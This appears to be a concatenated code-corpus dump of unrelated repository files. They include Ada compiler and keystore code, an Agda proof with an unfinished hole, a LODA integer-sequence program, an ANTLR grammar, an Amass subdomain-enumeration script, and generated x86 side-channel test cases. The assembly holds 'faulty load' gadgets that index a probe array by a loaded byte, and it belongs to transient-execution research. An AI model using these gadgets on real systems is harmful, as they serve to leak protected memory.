nop
nop
xor %rcx, %rcx
// Faulty Load
mov $0xb05, %r13
nop
add %rcx, %rcx
mov (%r13), %r11w
lea oracles, %rdx
and $0xff, %r11
shlq $12, %r11
mov (%rdx,%r11,1), %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_P', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_NC', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_P'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_P'}}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_US'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_NC'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_UC', 'AVXalign': False, 'size': 2}}
{'src': {'same': True, 'congruent': 0, 'type': 'addresses_P'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_PSE'}}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_PSE'}}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_RW', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_normal', 'AVXalign': True, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT', 'AVXalign': False, 'size': 32}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_P', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8}}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 7, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}}
{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': True, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'e3': 1}
e3
*/
|
resources/scripts/cert/facebookct.ads | w3bt00lz/Amass | 0 | 11618 | -- Copyright 2017 <NAME>. All rights reserved.
-- Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
local json = require("json")
name = "FacebookCT"
type = "cert"
function start()
setratelimit(20)
end
function vertical(ctx, domain)
if (api == nil or api.key == "" or api.secret == "") then
return
end
local page, err = request({
url=authurl(api.key, api.secret),
headers={['Content-Type']="application/json"},
})
if (err ~= nil and err ~= "") then
return
end
local resp = json.decode(page)
if (resp == nil or resp.access_token == nil or resp.access_token == "") then
return
end
page, err = request({
url=queryurl(domain, resp.access_token),
headers={['Content-Type']="application/json"},
})
if (err ~= nil and err ~= "") then
return
end
resp = json.decode(page)
if (resp == nil or #(resp.data) == 0) then
return
end
for i, r in pairs(resp.data) do
for j, d in pairs(r.domains) do
sendnames(ctx, d)
end
end
end
function authurl(id, secret)
return "https://graph.facebook.com/oauth/access_token?client_id=" .. id .. "&client_secret=" .. secret .. "&grant_type=client_credentials"
end
function queryurl(domain, token)
return "https://graph.facebook.com/certificates?fields=domains&access_token=" .. token .. "&query=*." .. domain
end
function sendnames(ctx, content)
local names = find(content, subdomainre)
if names == nil then
return
end
for i, v in pairs(names) do
newname(ctx, v)
end
end
|
source/nodes/program-nodes-package_body_stubs.adb | reznikmm/gela | 0 | 13379 | <filename>source/nodes/program-nodes-package_body_stubs.adb<gh_stars>0
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
package body Program.Nodes.Package_Body_Stubs is
function Create
(Package_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Body_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Name : not null Program.Elements.Defining_Identifiers
.Defining_Identifier_Access;
Is_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Separate_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
With_Token : Program.Lexical_Elements.Lexical_Element_Access;
Aspects : Program.Elements.Aspect_Specifications
.Aspect_Specification_Vector_Access;
Semicolon_Token : not null Program.Lexical_Elements
.Lexical_Element_Access)
return Package_Body_Stub is
begin
return Result : Package_Body_Stub :=
(Package_Token => Package_Token, Body_Token => Body_Token,
Name => Name, Is_Token => Is_Token, Separate_Token => Separate_Token,
With_Token => With_Token, Aspects => Aspects,
Semicolon_Token => Semicolon_Token, Enclosing_Element => null)
do
Initialize (Result);
end return;
end Create;
function Create
(Name : not null Program.Elements.Defining_Identifiers
.Defining_Identifier_Access;
Aspects : Program.Elements.Aspect_Specifications
.Aspect_Specification_Vector_Access;
Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False)
return Implicit_Package_Body_Stub is
begin
return Result : Implicit_Package_Body_Stub :=
(Name => Name, Aspects => Aspects,
Is_Part_Of_Implicit => Is_Part_Of_Implicit,
Is_Part_Of_Inherited => Is_Part_Of_Inherited,
Is_Part_Of_Instance => Is_Part_Of_Instance, Enclosing_Element => null)
do
Initialize (Result);
end return;
end Create;
overriding function Name
(Self : Base_Package_Body_Stub)
return not null Program.Elements.Defining_Identifiers
.Defining_Identifier_Access is
begin
return Self.Name;
end Name;
overriding function Aspects
(Self : Base_Package_Body_Stub)
return Program.Elements.Aspect_Specifications
.Aspect_Specification_Vector_Access is
begin
return Self.Aspects;
end Aspects;
overriding function Package_Token
(Self : Package_Body_Stub)
return not null Program.Lexical_Elements.Lexical_Element_Access is
begin
return Self.Package_Token;
end Package_Token;
overriding function Body_Token
(Self : Package_Body_Stub)
return not null Program.Lexical_Elements.Lexical_Element_Access is
begin
return Self.Body_Token;
end Body_Token;
overriding function Is_Token
(Self : Package_Body_Stub)
return not null Program.Lexical_Elements.Lexical_Element_Access is
begin
return Self.Is_Token;
end Is_Token;
overriding function Separate_Token
(Self : Package_Body_Stub)
return not null Program.Lexical_Elements.Lexical_Element_Access is
begin
return Self.Separate_Token;
end Separate_Token;
overriding function With_Token
(Self : Package_Body_Stub)
return Program.Lexical_Elements.Lexical_Element_Access is
begin
return Self.With_Token;
end With_Token;
overriding function Semicolon_Token
(Self : Package_Body_Stub)
return not null Program.Lexical_Elements.Lexical_Element_Access is
begin
return Self.Semicolon_Token;
end Semicolon_Token;
overriding function Is_Part_Of_Implicit
(Self : Implicit_Package_Body_Stub)
return Boolean is
begin
return Self.Is_Part_Of_Implicit;
end Is_Part_Of_Implicit;
overriding function Is_Part_Of_Inherited
(Self : Implicit_Package_Body_Stub)
return Boolean is
begin
return Self.Is_Part_Of_Inherited;
end Is_Part_Of_Inherited;
overriding function Is_Part_Of_Instance
(Self : Implicit_Package_Body_Stub)
return Boolean is
begin
return Self.Is_Part_Of_Instance;
end Is_Part_Of_Instance;
procedure Initialize (Self : in out Base_Package_Body_Stub'Class) is
begin
Set_Enclosing_Element (Self.Name, Self'Unchecked_Access);
for Item in Self.Aspects.Each_Element loop
Set_Enclosing_Element (Item.Element, Self'Unchecked_Access);
end loop;
null;
end Initialize;
overriding function Is_Package_Body_Stub
(Self : Base_Package_Body_Stub)
return Boolean is
pragma Unreferenced (Self);
begin
return True;
end Is_Package_Body_Stub;
overriding function Is_Declaration
(Self : Base_Package_Body_Stub)
return Boolean is
pragma Unreferenced (Self);
begin
return True;
end Is_Declaration;
overriding procedure Visit
(Self : not null access Base_Package_Body_Stub;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class) is
begin
Visitor.Package_Body_Stub (Self);
end Visit;
overriding function To_Package_Body_Stub_Text
(Self : in out Package_Body_Stub)
return Program.Elements.Package_Body_Stubs
.Package_Body_Stub_Text_Access is
begin
return Self'Unchecked_Access;
end To_Package_Body_Stub_Text;
overriding function To_Package_Body_Stub_Text
(Self : in out Implicit_Package_Body_Stub)
return Program.Elements.Package_Body_Stubs
.Package_Body_Stub_Text_Access is
pragma Unreferenced (Self);
begin
return null;
end To_Package_Body_Stub_Text;
end Program.Nodes.Package_Body_Stubs;
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_1028.asm | ljhsiun2/medusa | 9 | 88524 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x162fb, %r15
nop
nop
nop
add %r12, %r12
movb (%r15), %bl
nop
nop
and $12308, %rdx
lea addresses_normal_ht+0x12b5b, %rcx
nop
nop
cmp $9821, %r11
mov $0x6162636465666768, %r14
movq %r14, %xmm5
movups %xmm5, (%rcx)
nop
nop
nop
nop
sub %r14, %r14
lea addresses_D_ht+0x68fb, %rcx
nop
nop
nop
nop
and $22904, %r14
mov (%rcx), %rbx
nop
nop
inc %rbx
lea addresses_WC_ht+0x19d1f, %rsi
lea addresses_WC_ht+0x7adb, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
and $8873, %r15
mov $100, %rcx
rep movsq
nop
nop
sub %r15, %r15
lea addresses_WT_ht+0xaa3b, %rsi
nop
nop
and $18667, %r14
movl $0x61626364, (%rsi)
nop
nop
nop
nop
nop
xor $3691, %r12
lea addresses_WC_ht+0x1d4bf, %r15
nop
nop
add $40769, %rbx
mov $0x6162636465666768, %rdx
movq %rdx, (%r15)
nop
xor %r15, %r15
lea addresses_D_ht+0x8147, %rsi
lea addresses_WT_ht+0x1b37b, %rdi
nop
nop
nop
nop
xor %r11, %r11
mov $21, %rcx
rep movsq
inc %rsi
lea addresses_D_ht+0x483b, %rsi
clflush (%rsi)
nop
nop
nop
nop
inc %rcx
movb (%rsi), %r11b
nop
xor %rbx, %rbx
lea addresses_D_ht+0x15dfb, %rsi
lea addresses_UC_ht+0x1eadb, %rdi
nop
nop
nop
nop
dec %r11
mov $24, %rcx
rep movsq
xor $21110, %r14
lea addresses_UC_ht+0x1bac4, %rsi
lea addresses_normal_ht+0x1331b, %rdi
and %r14, %r14
mov $120, %rcx
rep movsl
nop
inc %r15
lea addresses_A_ht+0x6722, %rsi
lea addresses_D_ht+0x13e3b, %rdi
nop
nop
nop
and $15584, %rbx
mov $123, %rcx
rep movsl
nop
nop
cmp $4601, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %rax
push %rbx
push %rdi
push %rdx
push %rsi
// Faulty Load
lea addresses_normal+0x15c3b, %rbx
nop
cmp $47690, %rdx
movb (%rbx), %al
lea oracles, %rbx
and $0xff, %rax
shlq $12, %rax
mov (%rbx,%rax,1), %rax
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %rax
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
oeis/032/A032915.asm | neoneye/loda-programs | 11 | 177506 | ; A032915: Numbers whose set of base-8 digits is {1,3}.
; Submitted by <NAME>
; 1,3,9,11,25,27,73,75,89,91,201,203,217,219,585,587,601,603,713,715,729,731,1609,1611,1625,1627,1737,1739,1753,1755,4681,4683,4697,4699,4809,4811,4825,4827,5705,5707
add $0,1
mov $2,1
lpb $0
mul $0,2
sub $0,1
mov $3,$0
div $0,4
mod $3,4
mul $3,$2
add $1,$3
mul $2,8
lpe
sub $0,2
mov $0,$2
mov $0,$1
|
TypeTheory/Sigma-Induction.agda | hbasold/Sandbox | 0 | 12633 | <gh_stars>0
{-# OPTIONS --without-K #-}
open import Relation.Binary.PropositionalEquality as P
data Phantom {i} {A : Set i} (a : A) : Set where
phantom : Phantom a
module _ where
private
data #Σ-aux (A : Set) (B : A → Set) : Set where
#pair : (x : A) → B x → #Σ-aux A B
Σ : (A : Set) → (A → Set) → Set
Σ A B = #Σ-aux A B
pair : ∀ {A : Set} {B : A → Set} (x : A) → B x → Σ A B
pair = #pair
module ΣElim {A} {B} {S : Σ A B → Set}
(pair* : ∀(a : A) (b : B a) → S (pair a b))
where
f-aux : Phantom pair* → (x : Σ A B) → S x
f-aux x (#pair a b) = pair* a b
f : (x : Σ A B) → S x
f = f-aux phantom
open ΣElim public renaming (f to Σ-elim)
Σ-rec : ∀ {A} {B} {S : Set} → ((x : A) → B x → S) → Σ A B → S
Σ-rec f = Σ-elim f
isΣ-hom : ∀ {A B} {S : Set} (α : (a : A) → B a → S) →
(Σ A B → S) → Set
isΣ-hom α f = ∀ a b → f (pair a b) ≡ α a b
Σ-rec-unique : ∀ {A B S} {α : (a : A) → B a → S} {f : Σ A B → S} → isΣ-hom α f →
∀ x → f x ≡ Σ-rec α x
Σ-rec-unique f-hom = Σ-elim f-hom
π₁ : ∀ {A B} → Σ A B → A
π₁ = Σ-rec (λ a _ → a)
π₂ : ∀ {A B} → (x : Σ A B) → B (π₁ x)
π₂ = Σ-elim (λ a b → b)
record ΣRecStruct (A : Set) (B : A → Set) : Set₁ where
field
Carrier : Set
inj : (a : A) → B a → Carrier
rec : ∀{S : Set} → ((a : A) → B a → S) → Carrier → S
rec-hom : ∀ {S : Set} (α : (a : A) → B a → S) →
(∀ a b → rec α (inj a b) ≡ α a b)
rec-unique : ∀ {S : Set} {α : (a : A) → B a → S} {f : Carrier → S} →
(∀ a b → f (inj a b) ≡ α a b) →
∀ x → f x ≡ rec α x
-- open ΣRecStruct public
Σ-ΣRecStruct : ∀ A B → ΣRecStruct A B
Σ-ΣRecStruct A B = record
{ Carrier = Σ A B
; inj = pair
; rec = Σ-rec
; rec-hom = λ α a b → refl
; rec-unique = Σ-rec-unique
}
ΣRecStruct-HasInduction : ∀{A B} → ΣRecStruct A B → Set₁
ΣRecStruct-HasInduction {A} {B} R =
∀ {S : Carrier → Set} (inj* : ∀(a : A) (b : B a) → S (inj a b)) →
(x : Carrier) → S x
where open ΣRecStruct R
-- I don't think that this is provable without resorting to π₂.
-- But I also conjecture that internally the negation is neither
-- provable.
∀ΣRecStruct-haveInduction : ∀{A B} (R : ΣRecStruct A B) →
ΣRecStruct-HasInduction R
∀ΣRecStruct-haveInduction R {S} inj* x = {!!}
where
open ΣRecStruct R
S-aux : Set
S-aux = Σ Carrier S
f : Carrier → S-aux
f = rec (λ a b → pair (inj a b) (inj* a b))
|
lang/compiler-theory/src/test/resources/antlr/samples/NestedNameList.g4 | zizhizhan/jvm-snippets | 0 | 2777 | grammar NestedNameList;
list : '[' elements ']' ;
elements : element (',' element)*;
element : NAME | list;
NAME : ('a'..'z' | 'A'..'Z')+;
|
source/nodes/program-element_vector_factories.ads | optikos/oasis | 0 | 19510 | -- Copyright (c) 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with System.Storage_Pools.Subpools;
with Program.Element_Vectors;
with Program.Elements.Expressions;
with Program.Elements.Array_Component_Associations;
with Program.Elements.Aspect_Specifications;
with Program.Elements.Case_Expression_Paths;
with Program.Elements.Case_Paths;
with Program.Elements.Component_Clauses;
with Program.Elements.Defining_Identifiers;
with Program.Elements.Discrete_Ranges;
with Program.Elements.Discriminant_Associations;
with Program.Elements.Discriminant_Specifications;
with Program.Elements.Elsif_Paths;
with Program.Elements.Enumeration_Literal_Specifications;
with Program.Elements.Exception_Handlers;
with Program.Elements.Formal_Package_Associations;
with Program.Elements.Identifiers;
with Program.Elements.Parameter_Associations;
with Program.Elements.Parameter_Specifications;
with Program.Elements.Record_Component_Associations;
with Program.Elements.Select_Paths;
with Program.Elements.Variants;
package Program.Element_Vector_Factories is
pragma Preelaborate;
type Element_Vector_Factory
(Subpool : not null System.Storage_Pools.Subpools.Subpool_Handle) is
tagged limited private;
not overriding function Create_Element_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Element_Vectors.Element_Vector_Access;
not overriding function Create_Expression_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Expressions.Expression_Vector_Access;
not overriding function Create_Array_Component_Association_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Array_Component_Associations
.Array_Component_Association_Vector_Access;
not overriding function Create_Aspect_Specification_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Aspect_Specifications
.Aspect_Specification_Vector_Access;
not overriding function Create_Case_Expression_Path_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Case_Expression_Paths
.Case_Expression_Path_Vector_Access;
not overriding function Create_Case_Path_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Case_Paths.Case_Path_Vector_Access;
not overriding function Create_Component_Clause_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Component_Clauses
.Component_Clause_Vector_Access;
not overriding function Create_Defining_Identifier_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Defining_Identifiers
.Defining_Identifier_Vector_Access;
not overriding function Create_Discrete_Range_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Discrete_Ranges
.Discrete_Range_Vector_Access;
not overriding function Create_Discriminant_Association_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Discriminant_Associations
.Discriminant_Association_Vector_Access;
not overriding function Create_Discriminant_Specification_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Discriminant_Specifications
.Discriminant_Specification_Vector_Access;
not overriding function Create_Elsif_Path_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Elsif_Paths.Elsif_Path_Vector_Access;
not overriding function Create_Enumeration_Literal_Specification_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Enumeration_Literal_Specifications
.Enumeration_Literal_Specification_Vector_Access;
not overriding function Create_Exception_Handler_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Exception_Handlers
.Exception_Handler_Vector_Access;
not overriding function Create_Formal_Package_Association_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Formal_Package_Associations
.Formal_Package_Association_Vector_Access;
not overriding function Create_Identifier_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Identifiers.Identifier_Vector_Access;
not overriding function Create_Parameter_Association_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Parameter_Associations
.Parameter_Association_Vector_Access;
not overriding function Create_Parameter_Specification_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Parameter_Specifications
.Parameter_Specification_Vector_Access;
not overriding function Create_Record_Component_Association_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Record_Component_Associations
.Record_Component_Association_Vector_Access;
not overriding function Create_Select_Path_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Select_Paths
.Select_Path_Vector_Access;
not overriding function Create_Variant_Vector
(Self : Element_Vector_Factory;
Each : Program.Element_Vectors.Iterators.Forward_Iterator'Class)
return Program.Elements.Variants
.Variant_Vector_Access;
private
type Element_Vector_Factory
(Subpool : not null System.Storage_Pools.Subpools.Subpool_Handle) is
tagged limited null record;
end Program.Element_Vector_Factories;
|
programs/oeis/017/A017656.asm | neoneye/loda | 22 | 532 | <gh_stars>10-100
; A017656: (12n+11)^4.
; 14641,279841,1500625,4879681,12117361,25411681,47458321,81450625,131079601,200533921,294499921,418161601,577200625,777796321,1026625681,1330863361,1698181681,2136750625
mul $0,12
add $0,11
pow $0,4
|
tools/akt-commands-store.adb | stcarrez/ada-keystore | 25 | 20434 | -----------------------------------------------------------------------
-- akt-commands-store -- Store content read from standard input in keystore
-- Copyright (C) 2019, 2021 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Text_IO;
with Ada.Directories;
with Ada.Streams.Stream_IO;
with Util.Systems.Os;
with Util.Streams.Raw;
with Util.Streams.Files;
with Keystore.Tools;
package body AKT.Commands.Store is
use Ada.Directories;
-- ------------------------------
-- Insert a new value in the keystore.
-- ------------------------------
overriding
procedure Execute (Command : in out Command_Type;
Name : in String;
